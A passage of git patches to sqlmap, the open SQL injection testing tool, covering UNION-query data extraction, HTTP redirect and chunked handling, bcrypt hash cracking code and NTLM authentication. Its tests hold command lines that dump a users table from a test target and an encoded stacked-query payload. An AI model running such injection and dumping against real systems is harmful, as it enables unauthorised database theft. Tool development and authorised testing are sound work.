VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index d9b4b589e..86573bdad 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -31,6 +31,7 @@ from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import listToStrValue from lib.core.common import parseUnionPage +from lib.core.common import randomStr from lib.core.common import removeReflectiveValues from lib.core.common import singleTimeDebugMessage from lib.core.common import singleTimeWarnMessage @@ -296,7 +297,7 @@ def _chunkedJsonAggUse(expression, expressionFields, expressionFieldsList, count offset = 0 while offset < count: - query = "SELECT %s FROM (%s %s) sqmapx" % (aggExpr, base, window(offset, chunk)) + query = "SELECT %s FROM (%s %s) %s" % (aggExpr, base, window(offset, chunk), randomStr()) kb.jsonAggMode = True output = _oneShotUnionUse(query, False) From 5893f069aec124098096d0c007e89c9e752a878c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 9 Jul 2026 08:15:35 +0200 Subject: [PATCH 157/165] Enabling jsonAgg in partial union cases --- lib/core/settings.py | 2 +- lib/core/testing.py | 2 +- lib/techniques/union/use.py | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 19a90dd1e..1e0a3c5ef 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.49" +VERSION = "1.10.7.50" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 758d1a8bf..bd3f872c0 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -86,7 +86,7 @@ def vulnTest(tests=None, label="vuln"): ("-u --data=\"aWQ9MQ==\" --flush-session --base64=POST -v 6", ("aWQ9MTtXQUlURk9SIERFTEFZICcwOjA",)), ("-u --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")), ("-u --technique=BU --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "27 entries", "6E616D6569736E756C6C")), - ("-u --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 31 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")), + ("-u --technique=U --fresh-queries --force-partial --disable-json --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("LIMIT 0,1)", "nameisnull", "~using default dictionary", "dumped to HTML file")), ("-u --flush-session --technique=BU --all", ("30 entries", "Type: boolean-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")), ("-u --flush-session --technique=B --keyset --dump -T users", ("using keyset (seek) pagination", "30 entries", "luther", "nameisnull")), # keyset/seek dump via the SQLite rowid cursor ("-u -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [30]", "nameisnull")), diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 86573bdad..43de9a31a 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -348,7 +348,7 @@ def unionUse(expression, unpack=True, dump=False): debugMsg += "it does not play well with UNION query SQL injection" singleTimeDebugMessage(debugMsg) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE, DBMS.H2, DBMS.HSQLDB, DBMS.FIREBIRD) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.forcePartial, conf.disableJson)): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE, DBMS.H2, DBMS.HSQLDB, DBMS.FIREBIRD) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.disableJson)): match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I) if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression) and not re.search(r"\b(MIN|MAX|COUNT|EXISTS)\(", expression): kb.jsonAggMode = True @@ -374,7 +374,7 @@ def unionUse(expression, unpack=True, dump=False): # response cap) and the table is large, retrieve the rows in bounded windows (chunked # JSON aggregation) before the slow per-row fallback. Done here (independent of the # detected UNION where-clause) so it engages for any dumpable FROM-table query. - if value is None and " FROM " in expression.upper() and not re.search(SQL_SCALAR_REGEX, expression, re.I) and not any((kb.forcePartialUnion, conf.forcePartial, conf.disableJson, conf.binaryFields, conf.limitStart, conf.limitStop)): + if value is None and " FROM " in expression.upper() and not re.search(SQL_SCALAR_REGEX, expression, re.I) and not any((conf.disableJson, conf.binaryFields, conf.limitStart, conf.limitStop)): chunkCountExpr = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % '*', 1) if " ORDER BY " in chunkCountExpr.upper(): chunkCountExpr = chunkCountExpr[:chunkCountExpr.upper().rindex(" ORDER BY ")] From c1516f1750b7a95e9ea92fe96c2fd495c7f65326 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 9 Jul 2026 09:02:25 +0200 Subject: [PATCH 158/165] Fixes #6080 --- lib/core/settings.py | 2 +- lib/request/redirecthandler.py | 12 +++++++++--- 2 files changed, 10 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 1e0a3c5ef..6fb66aa59 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.50" +VERSION = "1.10.7.51" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index 515c415e5..64ee596e0 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -82,14 +82,20 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler): redurl = self._get_header_redirect(headers) if not conf.ignoreRedirects else None try: - content = fp.fp.read(MAX_CONNECTION_TOTAL_SIZE) - fp.fp = io.BytesIO(content) + # Note: drain via the length-aware response (honors Content-Length/chunked), NOT the raw + # socket 'fp.fp' - the latter has no HTTP framing, so on a Keep-Alive connection (no EOF) + # it blocks for the whole '--timeout' on every redirect (Issue #6080) + content = fp.read(MAX_CONNECTION_TOTAL_SIZE) except _http_client.IncompleteRead as ex: content = ex.partial - fp.fp = io.BytesIO(content) except: content = b"" + # back 'fp' with the captured body so it stays re-readable downstream (Issue #5985); the + # length-aware read above has consumed the response, so restore both the buffer and read() + fp.fp = io.BytesIO(content) + fp.read = fp.fp.read + content = decodePage(content, headers.get(HTTP_HEADER.CONTENT_ENCODING), headers.get(HTTP_HEADER.CONTENT_TYPE)) threadData = getCurrentThreadData() From c1363dd44cc0da19249af415aa7114f7faafc198 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 9 Jul 2026 09:56:51 +0200 Subject: [PATCH 159/165] Minor refactoring --- lib/core/settings.py | 2 +- lib/utils/bcrypt.py | 146 +++++++++++++++++++++++++++++++++++++++++++ lib/utils/hash.py | 127 +------------------------------------ 3 files changed, 149 insertions(+), 126 deletions(-) create mode 100644 lib/utils/bcrypt.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 6fb66aa59..be0c39059 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.51" +VERSION = "1.10.7.52" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/bcrypt.py b/lib/utils/bcrypt.py new file mode 100644 index 000000000..d82115740 --- /dev/null +++ b/lib/utils/bcrypt.py @@ -0,0 +1,146 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import struct + +from lib.core.compat import xrange +from lib.core.convert import getBytes + +# bcrypt (Provos-Mazieres EksBlowfish); the Blowfish P/S init constants are the fractional hex digits of pi +BCRYPT_ITOA64 = "./ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" + +_bcryptState = None + +def _bcryptInitState(): + global _bcryptState + + if _bcryptState is None: + count = 18 + 4 * 256 + ndigits = count * 8 + prec = ndigits + 16 + one = 1 << (4 * prec) + + def _arctan(inv): + total = term = one // inv + square = inv * inv + i = 1 + while term: + term //= square + total += (term // (2 * i + 1)) * (-1 if i % 2 else 1) + i += 1 + return total + + frac = (16 * _arctan(5) - 4 * _arctan(239) - 3 * one) >> (4 * (prec - ndigits)) + hexstr = "%0*x" % (ndigits, frac) + words = [int(hexstr[i * 8:(i + 1) * 8], 16) for i in xrange(count)] + _bcryptState = (words[:18], [words[18 + i * 256:18 + (i + 1) * 256] for i in xrange(4)]) + + return _bcryptState + +def _bcryptEncipher(P, S, L, R): + for i in xrange(16): + L ^= P[i] + R ^= (((S[0][(L >> 24) & 0xff] + S[1][(L >> 16) & 0xff]) & 0xffffffff) ^ S[2][(L >> 8) & 0xff]) + S[3][L & 0xff] & 0xffffffff + L, R = R, L + L, R = R, L + return (L ^ P[17]) & 0xffffffff, (R ^ P[16]) & 0xffffffff + +def _bcryptStream(data, offset): + word = 0 + for _ in xrange(4): + word = ((word << 8) | data[offset[0]]) & 0xffffffff + offset[0] = (offset[0] + 1) % len(data) + return word + +def _bcryptExpand(P, S, data, key): + koffset = [0] + for i in xrange(18): + P[i] ^= _bcryptStream(key, koffset) + + doffset = [0] + L = R = 0 + for i in xrange(0, 18, 2): + if data: + L ^= _bcryptStream(data, doffset) + R ^= _bcryptStream(data, doffset) + L, R = _bcryptEncipher(P, S, L, R) + P[i], P[i + 1] = L, R + + for b in xrange(4): + for k in xrange(0, 256, 2): + if data: + L ^= _bcryptStream(data, doffset) + R ^= _bcryptStream(data, doffset) + L, R = _bcryptEncipher(P, S, L, R) + S[b][k], S[b][k + 1] = L, R + +def _bcryptBase64(data): + retVal = "" + i = 0 + while i < len(data): + c = data[i]; i += 1 + retVal += BCRYPT_ITOA64[(c >> 2) & 0x3f] + c = (c & 3) << 4 + if i >= len(data): + retVal += BCRYPT_ITOA64[c & 0x3f]; break + d = data[i]; i += 1 + retVal += BCRYPT_ITOA64[(c | (d >> 4) & 0x0f) & 0x3f] + c = (d & 0x0f) << 2 + if i >= len(data): + retVal += BCRYPT_ITOA64[c & 0x3f]; break + e = data[i]; i += 1 + retVal += BCRYPT_ITOA64[(c | (e >> 6) & 3) & 0x3f] + retVal += BCRYPT_ITOA64[e & 0x3f] + return retVal + +def _bcryptUnbase64(value, length): + retVal = bytearray() + positions = [BCRYPT_ITOA64.index(_) for _ in value] + i = 0 + while i < len(positions) and len(retVal) < length: + c1 = positions[i] + c2 = positions[i + 1] if i + 1 < len(positions) else 0 + retVal.append(((c1 << 2) | (c2 >> 4)) & 0xff) + if len(retVal) >= length: + break + c3 = positions[i + 2] if i + 2 < len(positions) else 0 + retVal.append((((c2 & 0x0f) << 4) | (c3 >> 2)) & 0xff) + if len(retVal) >= length: + break + c4 = positions[i + 3] if i + 3 < len(positions) else 0 + retVal.append((((c3 & 3) << 6) | c4) & 0xff) + i += 4 + return retVal[:length] + +def bcryptHash(password, salt, cost): + """ + Provos-Mazieres EksBlowfish digest, base64-encoded (the openwall bcrypt hash tail) + + >>> bcryptHash("U*U", "CCCCCCCCCCCCCCCCCCCCC.", 5) + 'E5YPO9kmyuRGyh0XouQYb4YMJKvyOeW' + """ + + P0, S0 = _bcryptInitState() + P, S = list(P0), [list(_) for _ in S0] + + key = bytearray(getBytes(password) + b"\0") + saltbytes = _bcryptUnbase64(salt, 16) + + _bcryptExpand(P, S, saltbytes, key) + for _ in xrange(1 << cost): + _bcryptExpand(P, S, b"", key) + _bcryptExpand(P, S, b"", saltbytes) + + ctext = list(struct.unpack(">6I", b"OrpheanBeholderScryDoubt")) + for _ in xrange(64): + for j in xrange(0, 6, 2): + ctext[j], ctext[j + 1] = _bcryptEncipher(P, S, ctext[j], ctext[j + 1]) + + digest = bytearray(struct.pack(">6I", *ctext))[:23] + + return _bcryptBase64(digest) + diff --git a/lib/utils/hash.py b/lib/utils/hash.py index cca7d4fc3..4531e0eca 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -94,6 +94,7 @@ from lib.core.settings import NULL from lib.core.settings import ROTATING_CHARS from lib.core.settings import UNICODE_ENCODING from lib.core.wordlist import Wordlist +from lib.utils.bcrypt import bcryptHash from thirdparty import six from thirdparty.colorama.initialise import init as coloramainit from thirdparty.six.moves import queue as _queue @@ -552,112 +553,6 @@ def mysql_sha2_passwd(password, salt, rounds, prefix, **kwargs): # MySQL 8 'cac return "%s%s" % (prefix, getText(encodeHex(getBytes(digest), binary=False)).upper()) -# bcrypt (Provos-Mazieres EksBlowfish); the Blowfish P/S init constants are the fractional hex digits of pi -BCRYPT_ITOA64 = "./ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" - -_bcryptState = None - -def _bcryptInitState(): - global _bcryptState - - if _bcryptState is None: - count = 18 + 4 * 256 - ndigits = count * 8 - prec = ndigits + 16 - one = 1 << (4 * prec) - - def _arctan(inv): - total = term = one // inv - square = inv * inv - i = 1 - while term: - term //= square - total += (term // (2 * i + 1)) * (-1 if i % 2 else 1) - i += 1 - return total - - frac = (16 * _arctan(5) - 4 * _arctan(239) - 3 * one) >> (4 * (prec - ndigits)) - hexstr = "%0*x" % (ndigits, frac) - words = [int(hexstr[i * 8:(i + 1) * 8], 16) for i in xrange(count)] - _bcryptState = (words[:18], [words[18 + i * 256:18 + (i + 1) * 256] for i in xrange(4)]) - - return _bcryptState - -def _bcryptEncipher(P, S, L, R): - for i in xrange(16): - L ^= P[i] - R ^= (((S[0][(L >> 24) & 0xff] + S[1][(L >> 16) & 0xff]) & 0xffffffff) ^ S[2][(L >> 8) & 0xff]) + S[3][L & 0xff] & 0xffffffff - L, R = R, L - L, R = R, L - return (L ^ P[17]) & 0xffffffff, (R ^ P[16]) & 0xffffffff - -def _bcryptStream(data, offset): - word = 0 - for _ in xrange(4): - word = ((word << 8) | data[offset[0]]) & 0xffffffff - offset[0] = (offset[0] + 1) % len(data) - return word - -def _bcryptExpand(P, S, data, key): - koffset = [0] - for i in xrange(18): - P[i] ^= _bcryptStream(key, koffset) - - doffset = [0] - L = R = 0 - for i in xrange(0, 18, 2): - if data: - L ^= _bcryptStream(data, doffset) - R ^= _bcryptStream(data, doffset) - L, R = _bcryptEncipher(P, S, L, R) - P[i], P[i + 1] = L, R - - for b in xrange(4): - for k in xrange(0, 256, 2): - if data: - L ^= _bcryptStream(data, doffset) - R ^= _bcryptStream(data, doffset) - L, R = _bcryptEncipher(P, S, L, R) - S[b][k], S[b][k + 1] = L, R - -def _bcryptBase64(data): - retVal = "" - i = 0 - while i < len(data): - c = data[i]; i += 1 - retVal += BCRYPT_ITOA64[(c >> 2) & 0x3f] - c = (c & 3) << 4 - if i >= len(data): - retVal += BCRYPT_ITOA64[c & 0x3f]; break - d = data[i]; i += 1 - retVal += BCRYPT_ITOA64[(c | (d >> 4) & 0x0f) & 0x3f] - c = (d & 0x0f) << 2 - if i >= len(data): - retVal += BCRYPT_ITOA64[c & 0x3f]; break - e = data[i]; i += 1 - retVal += BCRYPT_ITOA64[(c | (e >> 6) & 3) & 0x3f] - retVal += BCRYPT_ITOA64[e & 0x3f] - return retVal - -def _bcryptUnbase64(value, length): - retVal = bytearray() - positions = [BCRYPT_ITOA64.index(_) for _ in value] - i = 0 - while i < len(positions) and len(retVal) < length: - c1 = positions[i] - c2 = positions[i + 1] if i + 1 < len(positions) else 0 - retVal.append(((c1 << 2) | (c2 >> 4)) & 0xff) - if len(retVal) >= length: - break - c3 = positions[i + 2] if i + 2 < len(positions) else 0 - retVal.append((((c2 & 0x0f) << 4) | (c3 >> 2)) & 0xff) - if len(retVal) >= length: - break - c4 = positions[i + 3] if i + 3 < len(positions) else 0 - retVal.append((((c3 & 3) << 6) | c4) & 0xff) - i += 4 - return retVal[:length] - def bcrypt_passwd(password, salt, magic="$2a$", cost=5, **kwargs): """ Reference(s): @@ -667,25 +562,7 @@ def bcrypt_passwd(password, salt, magic="$2a$", cost=5, **kwargs): '$2a$05$CCCCCCCCCCCCCCCCCCCCC.E5YPO9kmyuRGyh0XouQYb4YMJKvyOeW' """ - P0, S0 = _bcryptInitState() - P, S = list(P0), [list(_) for _ in S0] - - key = bytearray(getBytes(password) + b"\0") - saltbytes = _bcryptUnbase64(salt, 16) - - _bcryptExpand(P, S, saltbytes, key) - for _ in xrange(1 << cost): - _bcryptExpand(P, S, b"", key) - _bcryptExpand(P, S, b"", saltbytes) - - ctext = list(struct.unpack(">6I", b"OrpheanBeholderScryDoubt")) - for _ in xrange(64): - for j in xrange(0, 6, 2): - ctext[j], ctext[j + 1] = _bcryptEncipher(P, S, ctext[j], ctext[j + 1]) - - digest = bytearray(struct.pack(">6I", *ctext))[:23] - - return "%s%02d$%s%s" % (magic, cost, salt, _bcryptBase64(digest)) + return "%s%02d$%s%s" % (magic, cost, salt, bcryptHash(password, salt, cost)) def wordpress_bcrypt_passwd(password, salt, magic="$2y$", cost=10, **kwargs): # WordPress 6.8+ 'bcrypt(base64(hmac-sha384(pass)))' """ From 478888b19e5eb350d286412e2dac9bf90474792f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 9 Jul 2026 09:57:08 +0200 Subject: [PATCH 160/165] Minor patch --- lib/core/settings.py | 2 +- lib/parse/sitemap.py | 3 ++- lib/utils/crawler.py | 2 ++ 3 files changed, 5 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index be0c39059..b12a812d6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.52" +VERSION = "1.10.7.53" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/sitemap.py b/lib/parse/sitemap.py index fd68ece04..882c86b20 100644 --- a/lib/parse/sitemap.py +++ b/lib/parse/sitemap.py @@ -8,6 +8,7 @@ See the file 'LICENSE' for copying permission import re from lib.core.common import readInput +from lib.core.convert import htmlUnescape from lib.core.data import kb from lib.core.data import logger from lib.core.datatype import OrderedSet @@ -47,7 +48,7 @@ def parseSitemap(url, retVal=None, visited=None): if abortedFlag: break - foundUrl = match.group(1).strip() + foundUrl = htmlUnescape(match.group(1).strip()) # Basic validation to avoid junk if not foundUrl.startswith("http"): diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index 3741d2ace..ff8d7bdd6 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -168,6 +168,8 @@ def crawl(target, post=None, cookie=None): finally: if found: if items: + # keep sitemap-derived URLs on-scope, exactly like the HTML-crawl path above + items = OrderedSet(_ for _ in items if (re.search(conf.scope, _, re.I) if conf.scope else checkSameHost(_, target))) for item in items: if re.search(r"(.*?)\?(.+)", item): threadData.shared.value.add(item) From 8837dd24354cc462b8c725ab487360d2cb3f0f84 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 9 Jul 2026 10:12:43 +0200 Subject: [PATCH 161/165] Minor patch --- lib/core/settings.py | 2 +- lib/request/chunkedhandler.py | 12 ++++++++++-- 2 files changed, 11 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index b12a812d6..6df31db99 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.53" +VERSION = "1.10.7.54" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/chunkedhandler.py b/lib/request/chunkedhandler.py index 573f3b3d0..4fface114 100644 --- a/lib/request/chunkedhandler.py +++ b/lib/request/chunkedhandler.py @@ -14,6 +14,10 @@ class ChunkedHandler(_urllib.request.HTTPHandler): Ensures that HTTPHandler is working properly in case of Chunked Transfer-Encoding """ + # Note: run after urllib's own request munging so that a Content-Length it may have added (the + # HTTPS path on Python 2 adds one unconditionally) is present to be stripped when '--chunked' + handler_order = _urllib.request.HTTPHandler.handler_order + 1 + def _http_request(self, request): host = request.get_host() if hasattr(request, "get_host") else request.host if not host: @@ -23,7 +27,11 @@ class ChunkedHandler(_urllib.request.HTTPHandler): data = request.data if not request.has_header(HTTP_HEADER.CONTENT_TYPE): request.add_unredirected_header(HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded") - if not request.has_header(HTTP_HEADER.CONTENT_LENGTH) and not conf.chunked: + if conf.chunked: # Content-Length must not accompany 'Transfer-Encoding: chunked' + for store in (request.headers, request.unredirected_hdrs): + for name in [_ for _ in store if _.lower() == HTTP_HEADER.CONTENT_LENGTH.lower()]: + del store[name] + elif not request.has_header(HTTP_HEADER.CONTENT_LENGTH): request.add_unredirected_header(HTTP_HEADER.CONTENT_LENGTH, "%d" % len(data)) sel_host = host @@ -38,4 +46,4 @@ class ChunkedHandler(_urllib.request.HTTPHandler): request.add_unredirected_header(name, value) return request - http_request = _http_request + http_request = https_request = _http_request From 767feba3a7f877f57f79d4f8dbd064870f17f5d6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 9 Jul 2026 10:38:19 +0200 Subject: [PATCH 162/165] Embedding the NTLM auth support (without the deprecated 3rd party lib) --- lib/core/option.py | 11 +- lib/core/settings.py | 2 +- lib/request/ntlm.py | 269 +++++++++++++++++++++++++++++++++++++++++++ lib/utils/deps.py | 11 -- sqlmap.py | 11 -- tests/test_option.py | 10 +- 6 files changed, 275 insertions(+), 39 deletions(-) create mode 100644 lib/request/ntlm.py diff --git a/lib/core/option.py b/lib/core/option.py index 920d4d95c..bb915197d 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1515,15 +1515,8 @@ def _setHTTPAuthentication(): authHandler = _urllib.request.HTTPDigestAuthHandler(kb.passwordMgr) elif authType == AUTH_TYPE.NTLM: - try: - from ntlm import HTTPNtlmAuthHandler - except ImportError: - errMsg = "sqlmap requires Python NTLM third-party library " - errMsg += "in order to authenticate via NTLM. Download from " - errMsg += "'https://github.com/mullender/python-ntlm'" - raise SqlmapMissingDependence(errMsg) - - authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(kb.passwordMgr) + from lib.request.ntlm import HTTPNtlmAuthHandler + authHandler = HTTPNtlmAuthHandler(kb.passwordMgr) else: debugMsg = "setting the HTTP(s) authentication PEM private key" logger.debug(debugMsg) diff --git a/lib/core/settings.py b/lib/core/settings.py index 6df31db99..95cd32667 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.54" +VERSION = "1.10.7.55" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/ntlm.py b/lib/request/ntlm.py new file mode 100644 index 000000000..1b8881294 --- /dev/null +++ b/lib/request/ntlm.py @@ -0,0 +1,269 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Native, dependency-free NTLM-over-HTTP authentication (MS-NLMP / MS-NTHT), replacing the ancient +# and unmaintained 'python-ntlm' third-party library. Pure standard library + the in-tree pyDes for +# the DES core (hashlib's MD4 is unavailable under OpenSSL 3's unloaded legacy provider, so MD4 is +# implemented here per RFC 1320). Python 2.7 / 3.x. Crypto validated against the [MS-NLMP] test vectors. + +import base64 +import binascii +import os +import re +import socket +import ssl +import struct + +from lib.core.convert import getBytes +from lib.core.convert import getText +from thirdparty.pydes.pyDes import des +from thirdparty.pydes.pyDes import ECB +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import urllib as _urllib + +# ---------- MD4 (RFC 1320) ---------- +def _md4(data): + data = bytearray(data) + n = len(data) + data.append(0x80) + while len(data) % 64 != 56: + data.append(0) + data += struct.pack("> (32 - s))) & M + + for off in range(0, len(data), 64): + X = struct.unpack("<16I", bytes(data[off:off + 64])) + A, B, C, D = a, b, c, d + F = lambda x, y, z: (x & y) | (~x & z) + G = lambda x, y, z: (x & y) | (x & z) | (y & z) + H = lambda x, y, z: x ^ y ^ z + + for k in (0, 4, 8, 12): + A = rot((A + F(B, C, D) + X[k]) & M, 3) + D = rot((D + F(A, B, C) + X[k + 1]) & M, 7) + C = rot((C + F(D, A, B) + X[k + 2]) & M, 11) + B = rot((B + F(C, D, A) + X[k + 3]) & M, 19) + for k in (0, 1, 2, 3): + A = rot((A + G(B, C, D) + X[k] + 0x5a827999) & M, 3) + D = rot((D + G(A, B, C) + X[k + 4] + 0x5a827999) & M, 5) + C = rot((C + G(D, A, B) + X[k + 8] + 0x5a827999) & M, 9) + B = rot((B + G(C, D, A) + X[k + 12] + 0x5a827999) & M, 13) + for k in (0, 2, 1, 3): + A = rot((A + H(B, C, D) + X[k] + 0x6ed9eba1) & M, 3) + D = rot((D + H(A, B, C) + X[k + 8] + 0x6ed9eba1) & M, 9) + C = rot((C + H(D, A, B) + X[k + 4] + 0x6ed9eba1) & M, 11) + B = rot((B + H(C, D, A) + X[k + 12] + 0x6ed9eba1) & M, 15) + + a, b, c, d = (a + A) & M, (b + B) & M, (c + C) & M, (d + D) & M + + return struct.pack("<4I", a, b, c, d) + +# ---------- DES core (in-tree pyDes) with the NTLM 7->8 byte parity key expansion ---------- +def _str_to_key(chunk): + s = bytearray(chunk) + k = [s[0] >> 1, + ((s[0] & 0x01) << 6) | (s[1] >> 2), + ((s[1] & 0x03) << 5) | (s[2] >> 3), + ((s[2] & 0x07) << 4) | (s[3] >> 4), + ((s[3] & 0x0f) << 3) | (s[4] >> 5), + ((s[4] & 0x1f) << 2) | (s[5] >> 6), + ((s[5] & 0x3f) << 1) | (s[6] >> 7), + s[6] & 0x7f] + return bytes(bytearray((_ << 1) & 0xff for _ in k)) + +def _des(key7, block8): + return des(_str_to_key(key7), ECB).encrypt(block8) + +# ---------- negotiate flags ---------- +NTLM_NegotiateUnicode = 0x00000001 +NTLM_NegotiateOEM = 0x00000002 +NTLM_RequestTarget = 0x00000004 +NTLM_NegotiateNTLM = 0x00000200 +NTLM_NegotiateOemDomainSupplied = 0x00001000 +NTLM_NegotiateOemWorkstationSupplied = 0x00002000 +NTLM_NegotiateAlwaysSign = 0x00008000 +NTLM_NegotiateExtendedSecurity = 0x00080000 +NTLM_NegotiateTargetInfo = 0x00800000 +NTLM_NegotiateVersion = 0x02000000 +NTLM_Negotiate128 = 0x20000000 +NTLM_Negotiate56 = 0x80000000 +NTLM_MsvAvTimestamp = 7 + +NTLM_TYPE1_FLAGS = (NTLM_NegotiateUnicode | NTLM_NegotiateOEM | NTLM_RequestTarget | NTLM_NegotiateNTLM | + NTLM_NegotiateOemDomainSupplied | NTLM_NegotiateOemWorkstationSupplied | + NTLM_NegotiateAlwaysSign | NTLM_NegotiateExtendedSecurity | NTLM_NegotiateVersion | + NTLM_Negotiate128 | NTLM_Negotiate56) 